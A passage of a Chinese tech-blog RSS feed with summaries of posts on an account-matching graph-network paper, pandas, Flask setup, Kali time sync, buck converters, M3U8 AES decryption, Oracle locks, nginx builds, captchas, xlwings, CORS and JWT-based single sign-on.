      <description>1. 前言 论文链接：https://arxiv.org/abs/2006.01963?context=cs.LG&#xA;github：https://github.com/sunxiangguo/MGCN&#xA;如今，大多数人都参与了不止一个在线社交网络(OSN)，如Facebook、Twitter、微博、Linkedin。通常情况下，用户为了不同的目的在不同的OSNs上注册，不同的OSNs显示了不同的观点和人的不同方面。例如，一个用户在Facebook上联系他们的朋友，但是使用Linkedin联系他/她的同事，感兴趣的公司和寻找工作机会。虽然不同的OSNs表现出不同的特性和功能，但在不同的社交平台上，个人用户帐户的重叠现象一直存在。然而，出于隐私考虑或缺乏动机，在大多数社交网络中，属于同一个人的多个账户的信息并没有明确给出。&#xA;在数据挖掘研究领域中，将来自不同社交网络的属于同一个人的账号匹配问题定义为Account Mapping(账号映射)、Socia Network De-anonymization(社交网络去匿名化)或Social Anchor Link Prediction(社交锚链预测)。不同社交平台上的账户匹配在社交网络分析中扮演着重要的角色&#xA;因为它有助于改善许多下游应用，如在线个性化服务、链接预测、推荐系统、生物蛋白-蛋白对老化相关复合物的比对，以及犯罪行为检测。尽管人们对这一具有挑战性的课题给予了很大的关注，但仍有很大的改进空间。以往的研究提出利用可用的辅助信息，如自生成的用户资料、每日生成的内容和其他人口统计特征(如用户名、头像、位置、性别、帖子、博客、评论等)来解决这一问题。然而，随着公众隐私和信息权利意识的提高，这些信息越来越难以获得和获取。&#xA;跨平台账户匹配在社交网络分析中扮演着重要的角色，并且有利于广泛的应用。然而，现有的方法要么严重依赖高质量的用户生成内容(包括用户配置文件)，要么仅关注网络拓扑结构就存在数据不足的问题，这给研究者带来了模型选择的两难困境。为了解决这个问题，本文提出了一个新的框架，在局部网络结构和超图结构上统一考虑多层次的图卷积。该方法克服了现有工作中数据不足的问题，且不需要依赖用户的人口统计信息。此外，为了使所提方法能够处理大规模社交网络，提出了一种两阶段空间协调机制，以在基于网络划分的并行训练和跨不同社交网络的账户匹配中对齐嵌入空间。在两个大规模的现实社会网络上进行了广泛的实验。实验结果表明，该方法的性能优于现有模型。&#xA;近年来，随着网络嵌入(NE)技术的发展，相关问题的研究重点已转移到挖掘网络结构信息上。社交网络结构数据在正确性和完整性方面更加可靠。但是，只注重网络结构本身的建模，使得几乎所有现有的方法都存在数据不足的问题，特别是在小规模网络和冷启动设置(即用户是网络的新用户)。因此，在现实场景中，这一直是从业者所面临的困境，迫切需要有效的解决方案。基于此提出利用并整合从原始网络中提取的超图信息来进行数据增强。在本文的其余部分，我们分别使用“简单图”和“超图”来表示原始网络和从原始网络中提取的超图。与简单图相比，超图允许一条边(又名heperedge)同时连接两个以上的节点。这意味着图中节点之间的非成对关系可以很容易地组织并表示为超边。此外，超图具有鲁棒性和灵活性，能够适应各种各样的社交网络，无论给定的社交网络是纯社交网络还是具有各种属性和链接的异构社交网络。&#xA;更具体地说，提出了一种新的多层图卷积网络的嵌入框架，即MGCN，用于联合学习不同粒度灵活GCN核(即简单图GCN、超图GCN)的网络顶点的嵌入。社交网络的简单图结构信息揭示了用户之间的关系(如友谊、关注者)，而超图则根据其在社交网络中的具体定义具有不同的语义意义。例如，基于N-hop邻居的超图(用户的N-hop邻居通过同一个超边连接)在一定程度上表示朋友圈。基于中心的超图表示不同的社会层次(具有相似中心性值的用户可能具有相同的社会地位)。因此，通过定义各种超图并将其嵌入到网络嵌入学习中，将有助于学习更好的用户表示。为了支持这一点，MGCN框架是灵活的，可以包含各种超图定义，它可以将任何超图作为向量表示，使模型结构对各种超图定义不变性。通过扩展GCN来利用和集成超图的基本原理是，超图提供了更灵活的网络。与本地网络拓扑上的单个图GCNs相比，可以包含更多更丰富的信息的表示。在大多数情况下，GCN层的最优数量总是被设置为2，因为添加更多的层不能显著提高的性能。因此，GCNs只能捕获网络中某个节点周围的本地信息。这一现象也使得solo GCN存在矛盾，因此在account matching task上表现的一般，因为task的关键是探索更多更深的信息来进行预测。从直观上看，在从原始网络中提取的hypergrpahs上定义GCNs将补充现有基于gc的网络嵌入模型的局限性。&#xA;然而，这仍然是一项具有挑战性的任务，因为社交网络是大规模的，有数百万个节点和数十亿个边缘。传统的集中训练方法由于计算量大，无法适应这样大的网络。为了使MGCN适应于大规模社交网络，提高其可扩展性和效率，提出了一种新的训练方法，该方法首先将大规模社交网络分割成簇，然后以完全分散的方式学习网络嵌入。为了对齐不同簇的学习嵌入空间，提出了一种新的两相空间协调机制。在第一阶段，我们对齐从同一网络内的每个簇中学习到的嵌入空间。除了不同子网之间的排列在同一网络,推导空间和解对齐两个不同网络通过少量的观测锚节点,这使得我们的MGCN框架实现更精确的锚点链接比最先进的模型和预测效率高在大型社交网络。&#xA;总结论文主要贡献如下：&#xA;提出了一个新的框架MGCN，用于预测跨不同社交网络的锚链接这一具有挑战性的任务。该方法同时考虑了局部和超图级的图卷积来学习网络嵌入，能够为任务捕获更广泛、更丰富的网络信息。&#xA;为了使所提出的框架能够适应大规模的社交网络，提出了一系列的处理方法，包括网络分割和空间调和来处理分布式的训练过程。&#xA;对大规模真实数据集进行了广泛的评估，实验结果证明了提出的MGCN模型相对于最新模型的优越性。&#xA;2. 定义 2.1 问题定义 已知多个图例如： G 1 = { V 1 , E 1 } \mathcal{G_1=\{V_1,E_1\}} G1​={V1​,E1​} 和 G 2 = { V 2 , E 2 } \mathcal{G_2=\{V_2,E_2\}} G2​={V2​,E2​} 和 一组锚点链接 S a n c h o r = { ( u , v ) ∣ u ∈ V 1 , v ∈ V 2 } S_{anchor}=\mathcal{\{(u,v)|u \in V_1,v \in V2\}} Sanchor​={(u,v)∣u∈V1​,v∈V2}，目标是对无法观测到的跨平台锚点链接进行预测，并把整个问题看成是一个二分类问题，进而将问题转化为：给出一组节点 ( u , v ) \mathcal{(u,v)} (u,v) 并满足 u ∈ V 1 , v ∈ V 2 \mathcal{u \in V_1},v \in V_2 u∈V1​,v∈V2​，利用模型对他们之间是否存在链接进行预测。</description>
    </item>
    <item>
      <title>pandas中的几个时间序列生成函数</title>
      <link>https://bchobby.github.io/posts/6490306efee9afeb01ecb52a6192919e/</link>
      <pubDate>Fri, 02 Oct 2020 17:16:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6490306efee9afeb01ecb52a6192919e/</guid>
      <description>文章目录 pd.date_range函数pd.period_range函数pd.timedelta_range函数pd.interval_range函数 最近在处理跟时间相关的数据，用到了pandas中的datetime的几个函数，本篇来说一下pandas中几个常见的时间序列生成函数。&#xA;pd.date_range函数 pd.date_range(start=None, end=None, periods=None, freq=None, tz=None, normalize=False, name=None, closed=None)&#xA;先来讲一下各参数的含义：&#xA;start：即开始时间，得是字符形式的，如&#34;2020-1-9&#34;；end：结束时间，格式同start；periods：生成的时间个数；freq：生成时间的间隔频率，不写默认“D”；我列出常用的几个： freq别称说明/以下述为频率B工作日C自定义工作日D日历的日期W周M月末Q季度末Y年末H小时T分钟S秒MS月初QS季度初YS年初SMS前半月（1号和15号） tz：设置时区，如设置上海时间–“Asia/Shanghai”；normalize：是否在生成序列前将start或end的日期设为凌晨00点；默认False；name：设置该时间序列的名称；closed：有三个值–None、left、right，设置是否为闭区间，默认为None，全闭。 接着可以看一个示例：&#xA;date = pd.date_range(start=&#34;2019-9-15&#34;, periods=7, freq=&#34;2SMS&#34;, tz=&#34;Asia/Shanghai&#34;) date &#39;&#39;&#39; 返回： DatetimeIndex([&#39;2019-09-15 00:00:00+08:00&#39;, &#39;2019-10-15 00:00:00+08:00&#39;, &#39;2019-11-15 00:00:00+08:00&#39;, &#39;2019-12-15 00:00:00+08:00&#39;, &#39;2020-01-15 00:00:00+08:00&#39;, &#39;2020-02-15 00:00:00+08:00&#39;, &#39;2020-03-15 00:00:00+08:00&#39;], dtype=&#39;datetime64[ns, Asia/Shanghai]&#39;, freq=&#39;2SMS-15&#39;) &#39;&#39;&#39; 可以看到，加上时区之后多加了8个小时；同时freq里并不是单纯的示例格式，反而多了一个2，可以这样计算：原SMS代表半月即15天，加上2之后代表乘以2，即变为了30天。&#xA;pd.period_range函数 - pd.period_range(start=None, end=None, periods=None, freq=None, name=None)&#xA;参数意思都是一样的，因此就不解释了。直接上厘子例子。&#xA;# 频率默认以“天”算 period = pd.period_range(start=&#34;2019-2-2&#34;, periods=2) period &#39;&#39;&#39; 返回： PeriodIndex([&#39;2019-02-02&#39;, &#39;2019-02-03&#39;], dtype=&#39;period[D]&#39;, freq=&#39;D&#39;) &#39;&#39;&#39; 单这样看肯定会觉得和date_range函数没有多大区别，最多只是数据类型不一样。不过无需着急，接下来我再放几个该函数的例子，一对比，就能很快发现区别。&#xA;# 频率以“季度”算 period = pd.</description>
    </item>
    <item>
      <title>vscode配置python-flask</title>
      <link>https://bchobby.github.io/posts/e3fed9f2e71b7cde81c1df83f3ee6153/</link>
      <pubDate>Fri, 02 Oct 2020 10:14:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3fed9f2e71b7cde81c1df83f3ee6153/</guid>
      <description>第一步：对vscode配置python扩展&#xA;打开vscode，打开左端扩展，在上端搜索框输入python，并安装&#xA;第二步：在文件管理器中新建一个文件夹（vscode不能创建文件夹），然后用vscode打开这个文件夹&#xA;第三步：在文件夹下新建一个py文件：&#xA;鼠标移动到文件夹下，点击第一个按钮新建文件，并在框中输入文件名，后缀须是.py，vscode方能将其识别为python文件&#xA;第四步：输入print(&#39;Hello,world!&#39;)并尝试运行，查看能否成功运行。若可以，请跳转第五步；若不能，请查看vscode配置python环境&#xA;第五步：在该文件下将 print(&#39;Hello,world!&#39;)替换成以下代码&#xA;from flask import Flask app = Flask(__name__) @app.route(&#39;/&#39;) def index(): return &#39;Hello World&#39; if __name__ == &#39;__main__&#39;: app.debug = False # 设置调试模式，生产模式的时候要关掉debug app.run() 第五步：快捷键ctrl+shift+p，在弹出的输入框中输入tasks，选择第一个：&#xA;再点击第一个：&#xA;点击最后的Others&#xA;第六步：点击上方标题栏的“terminal”打开终端，输入以下代码创建虚拟环境：&#xA;py -m venv venv 输入以下代码跳转到venv/Scripts文件夹&#xA;cd venv/Scripts 输入start cmd跳转到命令行：&#xA;在命令行中输入：&#xA;activate.bat 以进入虚拟环境，在这之后，在虚拟环境中安装flask包：&#xA;pip install flask pip install watchdog 第七步，尝试运行文件中的上述代码，在终端中出现&#xA;按住ctrl点击下面的链接，可以看到&#xA;恭喜，配置完成！&#xA;本文配置系web开发小白在网上搜寻资料经几番辗转尝试总结出的一套方法，虽然在组员的电脑上可以成功运行，但亦有错漏之处，如有发现，敬请指正。</description>
    </item>
    <item>
      <title>KALI更新时间</title>
      <link>https://bchobby.github.io/posts/b93d74fa2fd296ca2d8f8ae20c0f6fd3/</link>
      <pubDate>Thu, 01 Oct 2020 21:43:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b93d74fa2fd296ca2d8f8ae20c0f6fd3/</guid>
      <description>查看系统时间&#xA;date&#xA;查看硬件时间&#xA;hwlock --show&#xA;安装ntpdate&#xA;apt-get install -y ntpdate&#xA;删除etc/localtime文件&#xA;rm -rf etc/localtime&#xA;复制shanghai时区文件替换到这里&#xA;cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime&#xA;更新时间&#xA;ntpdate -u ntp.api.bz&#xA;此时系统时间已经更新&#xA;将系统时间同步到硬件时间&#xA;hwclock -w</description>
    </item>
    <item>
      <title>DCDC降压电路学习记录</title>
      <link>https://bchobby.github.io/posts/06e0ee49a2d9c4eba20b69287f1ff0aa/</link>
      <pubDate>Thu, 01 Oct 2020 14:39:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06e0ee49a2d9c4eba20b69287f1ff0aa/</guid>
      <description>一.输出建立过程分析 BUCK电路的基本原理就不说了，首先来分析一个BUCK电路它到输出电压稳定这个过程是如何建立起来的。&#xA;假设输入电压15V输出电压5V，达到稳态时的电流为3A。它的基本电路如图所示&#xA;当输入端上电，控制电路就工作起来，MOS管开始工作；当需要5V，3A输出时，稳态时PWM的占空比为0.3，但是刚开始时PWM占空比是从0开始，通过若干个pwm周期加到0.3的，完成一个软启动，这样不会对整个系统造成大的冲击电流，PWM波形如下图所示。&#xA;同时输出电流和输出电压也是一个缓慢变化过程，如下图所示&#xA;电感电流波形如下图所示&#xA;图a&#xA;图b&#xA;图a中电感电流上升斜率大于下降斜率，电感电流由断续模式慢慢过渡到连续模式。&#xA;开始时候占空比很小，充电阶段电感电流以VIN/L的斜率上升，由于充电时间很短，∆I很小。放电阶段电感电流以（Vo+VD）/L斜率下降，VD是二极管导通压降，由于Vo开始很小，电感电流缓慢下降toff的时间。&#xA;当占空比增大到一定程度，电感电流上升斜率不变且时间加长，电感电流下降斜率（Vo+VD）/L逐渐加大，电感电流会波动上升，直到VIN*ton=（Vo+VD）*toff时，电感电流稳定，其平均值等于负载电流。图b显示了电感经历了几次平均电流跃迁后，逐渐达到负载电流，这是TPS5454芯片的一个仿真波形，电感电流不是一下子达标的，而是稳定之后跃升再稳定再跃升。&#xA;二．稳态过程分析 假设输入电压15V，输出电压5V，当忽略二极管两端的压降时，电感电流CCM模式下，PWM占空比应该是0.3；&#xA;电容：&#xA;在这样的一个稳态过程下，输出电容上的电压是稳定不变的，可以等效看成它是没有电流流过的，只起一个稳压作用：当开关管导通，输入电压一部分给电感充电，另外一部分维持负载电流；当开关管关断，电感续流为负载供电。&#xA;电感：&#xA;电感电流在一个开关周期内电流上升量等于下降量，满足∆Ionton=∆Iofftoff，即Von/Lton=Voff/Ltoff。每个周期都是如此，电感中的电流一直保持动态稳定，且电感电流的几何中心就是负载电流；负载电流越大，电感平均电流越大，电感电流就会在一个更高的电流平台上升和下降，∆I是不变的。∆I由f、D、L决定（f是pwm频率、D是pwm占空比&#xA;L是电感值）。当f翻倍，D、L不变，∆I减半；L变为两倍，f、D不变，∆I减半。&#xA;MOS管：&#xA;MOS管导通时，ton的时间流过的电流于电感电流相等；MOS管关断后，承受VIN端电压（忽略二极管电压），所以MOS管承受的平均电流为IL*D。&#xA;二极管&#xA;在开关管导通时，二极管反向承受输入电压；开关管关断时，二极管导通为电感续流，所以二极管中流过的平均电流为IL*（1-D）。&#xA;如上图所示，从上到下依次为MOS管驱动，电感电流，输出电容电流，二极管电流；可以看到开关管导通时，电感电流、输出电容电流上升，二极管关断；开关管关断时，电感通过电容、二极管续流。&#xA;三．DCDC降压芯片功能描述 了解了BUCK的暂态建立和稳态情况，就可以对相关元器件进行选型设计了。选型之前，先要了解一下DCDC降压芯片的一些基本功能，对我们的设计有很大帮助。&#xA;3.1过流保护功能 逐周期限流模式：包括谷值电流限制、峰值电流限制，每一个PWM周期里面，分别对电感电流上升和下降阶段的电流进行检测，当检测电流高于设定阈值时，让MOS管关断。 优点：能够及时进行电流限制；缺点：当电路严重过流时，输出电流会维持在限流阈值上下，会产生较大损耗&#xA;打嗝模式：可以解决逐周期过流保护损耗大的不足，打嗝模式可以定时开启保护检测，当出现过流时，等待一段时间再检测是否过流，不让芯片每个PWM周期都监测，减小损耗。 3.2芯片的使能回滞引脚&#xA;降压芯片内部都有一个启动和关断电压，比如4.3V开通，3.1V关断。&#xA;通过外接电阻将VIN分压到EN脚。，可以自己设定一个开启关断电压。&#xA;（通过外接电阻的分压，使得EN脚电压等于1.2V，此时启动电压为：R2VIN/（R1+R2）+i1R2，自主设定了一个启动电压（高于4.3V），比如是10V，启动之后芯片内部会产生一个电流ihsy，EN脚电压升高到： R2VIN/（R1+R2）+i1R2+ihsy*R2，此时停止电压要低于10V才能停。）这样的回滞电压能够防止芯片欠压保护后的二次启动。&#xA;3.3芯片软启动&#xA;如图，上面芯片的软启动时间为1024个PWM周期，使能脚电压过低、温度保护、电流保护动作都会使得软启动复位。&#xA;3.4芯片开关频率的配置&#xA;可以选择电阻大小来配置开关频率&#xA;3.5轻载情况下的ECO模式&#xA;在空载或轻载模式下，芯片会跳掉一部分PWM，减小损耗；&#xA;轻载模式下的PWM波形如图所示，振荡是由电感与MOS管的ds间寄生电容产生的，振荡的中心就是输出电压大小。&#xA;待续。。。</description>
    </item>
    <item>
      <title>word 自带公式编辑器中公式等号对齐方法</title>
      <link>https://bchobby.github.io/posts/9d877ba7a72101db8f0cf2db20d03bc1/</link>
      <pubDate>Thu, 01 Oct 2020 11:08:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d877ba7a72101db8f0cf2db20d03bc1/</guid>
      <description> 注意：这种方法只能对带括号的公式有用，比如下面的括号；且行数是根据 Enter 换行自动填补的，不是矩阵设定的 ！ 我们在写论文时经常遇到公式不对齐问题，影响美观，下面详细介绍一下 word 自带公式编辑器中公式等号对齐方法&#xA;形如下公式：&#xA;我们可以看到公式没有对齐，此时&#xA;第一步：全选公式，右击，选择，线性 得到如下结果&#xA;第二步：在每个 等号= 前打入 &amp;amp; 符号， 第三步：然后全选，右击，选择专业型。 结果如下：&#xA;完美解决 </description>
    </item>
    <item>
      <title>python 解密 M3U8 AES 加密的视频</title>
      <link>https://bchobby.github.io/posts/1697fc1eef69aa6dabf67b1ac343e5b0/</link>
      <pubDate>Wed, 30 Sep 2020 17:03:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1697fc1eef69aa6dabf67b1ac343e5b0/</guid>
      <description> 从浏览器下载的M3U8格式视频有时会被AES加密。windows下解密AES需要安装pycryptodome 模块和pycrypto模块，使用conda或pip安装这两个模块。&#xA;conda install pycryptodome conda install pycrypto 安装完成后在Python文件中导入AES包，进行解密操作。M3U8一般使用CBC方式加密，key一般会与ts文件在同一目录，记事本打开key文件即可获取。iv需要从M3U8文件中获取。使用记事本打开此文件，如果属性列表出现 IV，则使用该值；如果未出现，则默认使用EXT-X-MEDIA-SEQUENCE作为 IV 值。使用大端字节序，往左填充 0 直到序列号满足128位，一般为全0。&#xA;示例代码如下。&#xA;from Crypto.Cipher import AES def decryptSingleAES( src,dec,key,iv ): try: f1 = open(src, &#39;rb&#39;) f2 = open(dec, &#39;wb&#39;) part = f1.read() cipher = AES.new(key.encode(&#39;utf-8&#39;), AES.MODE_CBC, iv) plain_data = cipher.decrypt(part) if part: f2.write(plain_data) finally: if f1: f1.close() if f2: f2.close() if __name__ == &#39;__main__&#39;: src=&#39;D:\\test\\old.ts&#39; dec=&#39;D:\\test\\new.ts&#39; key=&#39;9999999999999999&#39; iv=b&#39;0000000000000000&#39; decryptSingleAES( src,dec,key,iv ) </description>
    </item>
    <item>
      <title>数据库执行update语句，一直执行不完【已解决】</title>
      <link>https://bchobby.github.io/posts/9a2fee219fa1e26833860f0dc3b3fb06/</link>
      <pubDate>Wed, 30 Sep 2020 14:14:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a2fee219fa1e26833860f0dc3b3fb06/</guid>
      <description>今天执行了一个很简答的更新数据的SQL，结果一直执行不过去。最开始我以为是我的过滤条件不对，导致数据量太大，但是当我用select语句去执行时，发现过滤条件并没有问题，然后便开始了面向百度。&#xA;原来是发生了锁表现象，先将我的处理过程做一个总结：&#xA;1、使用SQL查看我们的锁表进程&#xA;SELECT SESS.SID, SESS.SERIAL#, LO.ORACLE_USERNAME, LO.OS_USER_NAME, AO.OBJECT_NAME, LO.LOCKED_MODE FROM V$LOCKED_OBJECT LO, DBA_OBJECTS AO, V$SESSION SESS WHERE AO.OBJECT_ID = LO.OBJECT_ID AND LO.SESSION_ID = SESS.SID 能查出来数据则说明存在锁表进程&#xA;记录下我们对应进程的SID、SERIAL#，为后面杀进程做准备&#xA;2、使用SQL杀死我们的锁表进程&#xA;ALTER SYSTEM KILL SESSION &#39;SID,SERIAL#&#39;; 3、杀死进程再次执行第一步就没有对应的数据了&#xA;什么是锁表？为什么会发生？&#xA;数据库使用的是独占式封锁机制，当执行对应的SQL语句时（INSERT、UPDATE、DELETE），我们的表就会被锁住，直到commite、回滚或者退出数据库用户，才能执行下一条。&#xA;这里的细节和数据库的事务并发问题有关&#xA;事务的隔离级别和并发问题</description>
    </item>
    <item>
      <title>windows服务器直播推流</title>
      <link>https://bchobby.github.io/posts/4678f445b6f0abef19f21cd4239b5149/</link>
      <pubDate>Wed, 30 Sep 2020 10:52:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4678f445b6f0abef19f21cd4239b5149/</guid>
      <description>nginx flv/rtmp/hls for Windows x64 windows推流转码确实麻烦,真要用到必须一步一步来,不要急&#xA;环境 win 7 64位，openssl-1.0.2r，nginx-http-flv-module&#xA;下载 1、下载以下工具，并依次安装：&#xA;下载VS2010+VS2010 SP1msys-1.0.11.exeActicePerl-5.24.2.2403-MSWin32-x64-403863.exemercurial-4.3.1-x64.msinasm-2.12.02rc9-installer-x64.exe（32位需要用，64位不需要）sed-4.2.1-setup.exe下载配套的所需库代码PCRE，zlib 和 OpenSSL libraries sources下载nginx-http-flv-module：https://github.com/winshining/nginx-http-flv-module 以上工具需要确保加入到了环境变量（控制面板\系统和安全\系统\高级系统设置\环境变量）。&#xA;2、获取Nginx源码：&#xA;打开cmd命令，切换到Mercurial安装根目录，执行命令：&#xA;hg clone http://hg.nginx.org/nginx 下载成功后会在Mercurial安装目录下，创建nginx源代码文件夹。&#xA;3、添加依赖资源包：&#xA;使用MSYS工具，在nginx源代码分别创建objs/lib文件夹，将下载好的nginx-http-flv-module、openssl、pcre、zlib分别解压在lib文件夹下面&#xA;编译 1、生成makefile文件，用于c++编译器：&#xA;继续使用MSYS工具，返回到nginx源代码根目录，执行以下脚本：&#xA;auto/configure --with-cc=cl --builddir=objs --prefix= \ --conf-path=conf/nginx.conf --pid-path=logs/nginx.pid \ --http-log-path=logs/access.log --error-log-path=logs/error.log \ --sbin-path=nginx.exe --http-client-body-temp-path=temp/client_body_temp \ --http-proxy-temp-path=temp/proxy_temp \ --http-fastcgi-temp-path=temp/fastcgi_temp \ --http-scgi-temp-path=temp/scgi_temp \ --http-uwsgi-temp-path=temp/uwsgi_temp \ --with-cc-opt=-DFD_SETSIZE=1024 --with-pcre=objs/lib/pcre-8.40 \ --with-zlib=objs/lib/zlib-1.2.11 --with-openssl=objs/lib/openssl-1.0.2r \ --with-select_module --with-http_ssl_module --add-module=objs/lib/nginx-http-flv-module 成功后输出以下：&#xA;1、修改nginx\auto\lib\openssl\makefile.msvc文件：&#xA;将VC-WIN32改为VC-WIN64A，将ms\do_ms 改为ms\do_win64a&#xA;修改objs\Makefile文件：将“-WX”删除，否则nmake时会报错“nginx error:c2220:警告被视为错误 - 没有生成object文件”</description>
    </item>
    <item>
      <title>java后端图形验证码</title>
      <link>https://bchobby.github.io/posts/93c40c31402dd0946dffeb8481e2a037/</link>
      <pubDate>Wed, 30 Sep 2020 10:38:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93c40c31402dd0946dffeb8481e2a037/</guid>
      <description>&amp;lt;img src=&#34;https://bchobby.github.io/login/valicode&#34; οnclick=&#34;upimg(this)&#34;&amp;gt; //刷新图片 function upimg(dd){ $(dd).attr(&#34;src&#34;,&#34;/login/valicode&#34;) } //随机生成登录验证码 @RequestMapping(&#34;/valicode&#34;) //对应/login/valicode请求 public void valicode(HttpServletResponse response, HttpSession session) throws Exception { //利用图片工具生成图片 //第一个参数是生成的验证码，第二个参数是生成的图片 Object[] objs = ImageUtil.createImage(); //将验证码存入Session session.setAttribute(&#34;imageCode&#34;, objs[0]); //将图片输出给浏览器 BufferedImage image = (BufferedImage) objs[1]; response.setContentType(&#34;image/png&#34;); OutputStream os = response.getOutputStream(); ImageIO.write(image, &#34;png&#34;, os); } 获取验证码 String pp=session.getAttribute(&#34;imageCode&#34;).toString(); 工具类&#xA;public final class ImageUtil { // 验证码字符集 private static final char[] chars = { &#39;0&#39;, &#39;1&#39;, &#39;2&#39;, &#39;3&#39;, &#39;4&#39;, &#39;5&#39;, &#39;6&#39;, &#39;7&#39;, &#39;8&#39;, &#39;9&#39;}; // 字符数量 private static final int SIZE = 4; // 干扰线数量 private static final int LINES = 5; // 宽度 private static final int WIDTH = 80; // 高度 private static final int HEIGHT = 40; // 字体大小 private static final int FONT_SIZE = 30; /** * 生成随机验证码及图片 * Object[0]：验证码字符串； * Object[1]：验证码图片。 */ public static Object[] createImage() { StringBuffer sb = new StringBuffer(); // 1.</description>
    </item>
    <item>
      <title>linux 模糊批量删除文件</title>
      <link>https://bchobby.github.io/posts/dd3f66cd9e6cc2c568258b36bf64d152/</link>
      <pubDate>Wed, 30 Sep 2020 10:14:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd3f66cd9e6cc2c568258b36bf64d152/</guid>
      <description> find命令和xargs 组合使用，通过管道 |命令传值&#xA;模糊查找某个目录的文件&#xA;find ./ -name *.png 查找当前目录下所有带 .png后缀的文件&#xA;将查询的结果传值给 xargs， 到达模糊批量删除的效果&#xA;find ./ -name *.png | xargs rm </description>
    </item>
    <item>
      <title>xlwings的基本操作</title>
      <link>https://bchobby.github.io/posts/8a31b528de259ec07efb7fa404864083/</link>
      <pubDate>Tue, 29 Sep 2020 17:50:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a31b528de259ec07efb7fa404864083/</guid>
      <description>文章目录 新建工作簿及、插入值并关闭打开已有文件、查看/删除单元格值更改单元格颜色、行高列宽、插入公式 新建工作簿及、插入值并关闭 首先先导入需要的模块。&#xA;import pandas as pd import xlwings as xw import numpy as np 接着新建一个test.xlsxexcel文件。&#xA;# visible-是否打开相应excel文件，即是否可视化当前工作簿； # add_book=True，此时立即创建一个有sheet表的工作簿 # add_book=False，此时立即创建一个没有sheet表的工作簿 app = xw.App(visible=True, add_book=False) wb = app.books.add() 此时就能获取wb的sheet表，进行操作了。&#xA;sht = wb.sheets[0] # a1到d1单元格插入值 sht.range(&#34;a1:d1&#34;).value = [&#34;序号&#34;, &#34;姓名&#34;, &#34;年龄&#34;, &#34;性别&#34;] 可以实时看到excel文件的结果：&#xA;接下来编辑完就能保存并关闭。&#xA;# 保存到当前文件夹下 wb.save(&#34;./test.xlsx&#34;) # 关闭此工作簿 wb.close() 此时关闭工作簿之后，因为app还在，所以excel整体界面是这样子的。&#xA;接下来再关闭app就行。&#xA;app.quit() 打开已有文件、查看/删除单元格值 打开工作簿有两种方式：&#xA;# 方式一：推荐，更灵活 app = xw.App(visible=True, add_book=False) wb = app.books.open(&#34;test.xlsx&#34;) # 方式二 wb = xw.Book(&#34;test.xlsx&#34;) 接下来获取到sheet，就可以对表中的单元格编辑。</description>
    </item>
    <item>
      <title>firefox 火狐浏览器 跨域设置</title>
      <link>https://bchobby.github.io/posts/9febd330cf6add7f051f9ae6e7a84890/</link>
      <pubDate>Tue, 29 Sep 2020 16:15:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9febd330cf6add7f051f9ae6e7a84890/</guid>
      <description>在用开发Web应用时，常常需要跨域请求资源，这就需要解除浏览器的跨域限制。&#xA;否则会报&#xA;已拦截跨源请求：同源策略禁止读取位于 ..... 的远程资源。（原因：CORS 头缺少 &#39;Access-Control-Allow-Origin&#39;）。&#xA;这样的错误。&#xA;对于Chrome浏览器，设置跨域很容易。例如：https://www.cnblogs.com/shihaiming/p/10984394.html 但对于firefox并不容易，许多人介绍了设置 security.fileuri.strict_origin_policy 的方法，但它在最新的firefox浏览器中似乎并不生效。&#xA;在此，我们可以使用firefox浏览器插件来实现跨域，例如CORS-EVERYWHERE&#xA;https://addons.mozilla.org/en-US/firefox/addon/cors-everywhere/&#xA;它是可用的。它的github地址是https://github.com/spenibus/cors-everywhere-firefox-addon。</description>
    </item>
    <item>
      <title>正则表达式提取省市区县乡镇等</title>
      <link>https://bchobby.github.io/posts/aaf7effaab4e8b984ac23bcf56f21737/</link>
      <pubDate>Tue, 29 Sep 2020 11:50:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaf7effaab4e8b984ac23bcf56f21737/</guid>
      <description> (?&amp;lt;province&amp;gt;[^省]+省|.+自治区|上海|北京|天津|重庆|内蒙古|.+特别行政区)?(?&amp;lt;city&amp;gt;[^市]+市|.+自治州)?(?&amp;lt;county&amp;gt;[^县]+县|.+区|.+镇|.+局)?(?&amp;lt;town&amp;gt;[^区]+区|.+镇)?(?&amp;lt;village&amp;gt;.*) </description>
    </item>
    <item>
      <title>云讯健身管理系统-12--SSO单点登录、阿里云短信</title>
      <link>https://bchobby.github.io/posts/249eaf6b805f84de39af92de58d0c71a/</link>
      <pubDate>Tue, 29 Sep 2020 00:39:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/249eaf6b805f84de39af92de58d0c71a/</guid>
      <description>一、单点登录 1. 用户登录业务介绍 1.1 单一服务器模式—sessiong广播机制 早期单一服务器，用户认证，将其session复制&#xA;1.2. SSO(single sign on)模式 1.3. Token模式 业务流程图{用户访问业务时，必须登录的流程}&#xA;二、使用JWT进行跨域身份验证 1、传统用户身份验证 Internet服务无法与用户身份验证分开。一般过程如下：&#xA;1、用户向服务器发送用户名和密码。&#xA;2、验证服务器后，相关数据（如用户角色，登录时间等）将保存在当前会话中。&#xA;3、服务器向用户返回session_id，session信息都会写入到用户的Cookie。&#xA;4、用户的每个后续请求都将通过在Cookie中取出session_id传给服务器。&#xA;5、服务器收到session_id并对比之前保存的数据，确认用户的身份。&#xA;这种模式最大的问题是，没有分布式架构，无法支持横向扩展。&#xA;2、解决方案 1、session广播&#xA;2、将透明令牌存入cookie，将用户身份信息存入redis&#xA;另外一种灵活的解决方案：&#xA;使用自包含令牌，通过客户端保存数据，而服务器不保存会话数据。 JWT是这种解决方案的代表。&#xA;三、JWT令牌 1、访问令牌的类型 2、JWT的组成 典型的，一个JWT看起来如下图：&#xA;该对象为一个很长的字符串，字符之间通过&#34;.&#34;分隔符分为三个子串。&#xA;每一个子串表示了一个功能块，总共有以下三个部分：JWT头、有效载荷和签名&#xA;2.1 JWT头 JWT头部分是一个描述JWT元数据的JSON对象，通常如下所示。&#xA;{ &#34;alg&#34;: 